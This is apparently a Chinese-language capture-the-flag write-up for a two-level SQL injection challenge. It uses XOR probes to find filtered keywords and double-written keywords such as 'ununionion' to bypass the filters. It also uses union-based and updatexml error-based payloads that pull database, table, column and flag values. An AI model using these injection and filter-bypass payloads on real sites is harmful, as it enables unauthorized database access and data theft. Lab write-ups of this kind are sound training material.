打开网站后发现 分别将 id=1 2 3 4 5 有不同的提示,等于6时报错
学到大佬的一个方法,
如何判断过滤了哪些字符?
采用异或注入。
如果括号里面的判断是假的,那么页面就会显示正确
构造 ?id=1'^(length('union')!=0)^'
如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)!=0是错误的,而length(‘union’)==0的,也就是union被过滤了
测试
说明length(‘union’)!=0是错误的,而length(‘union’)==0的,说明union被过滤掉了
同样的方法可以测试出
?id=1'^(length('and')!=0)^'
?id=1'^(length('select')!=0)^'
?id=1'^(length('or')!=0)^'
都被过滤了
所以要进行双写绕过了
继续用我们的sql注入格式(如下链接)哈哈啊哈
https://blog.youkuaiyun.com/qq_42777804/article/details/81226567
先判断多少列
?id=1' oorrder by 2%23 正确
?id=1' oorrder by 3%23 错误 说明有2列
直接看看有没有显示位
?id=1' anandd 1=2 ununionion seselectlect 1,2%23
发现显示位2
那么查他的数据库
?id=1' anandd 1=2 ununionion seselectlect 1,database()%23
发现数据库为 web1002-1
下一步查他的 表名
?id=1' anandd 1=2 ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1'%23
(这里的 information 中的 or过滤了所以不行哈哈哈)
不用想 肯定查 flag1
?id=1' anandd 1=2 ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema='web1002-1' aandnd table_name = 'flag1'%23
又是列名为 flag1
接下来查字段内容
?id=1' anandd 1=2 ununionion seselectlect 1,group_concat(flag1) from flag1%23
usOwycTju+FTUUzXosjr 按照题目转为小写 加上括号
flag{usowyctju+fttuzxosjr}
flag{usOwycTju+FTUUzXosjr}
居然好像都提交不了查看下一个内容
?id=1' anandd 1=2 ununionion seselectlect 1,group_concat(address) from flag1%23
进入下一关地址
之后的 双写无法绕过,大小写无法绕过,/*!*/
无法绕过。
更换函数,利用updatexml报错。依旧是我的格式(如下)哈哈
https://blog.youkuaiyun.com/qq_42777804/article/details/81226567
?id=1'and updatexml(1,concat(0x23,database()),1)%23
查表名
?id=1'and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2')),1)%23
接着查falg2的表名
?id=1'and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='web1002-2' and table_name='flag2')),1)%23
最后查字段内容
查出flag
flag{Bugku-sql_6s-2i-4t-bug}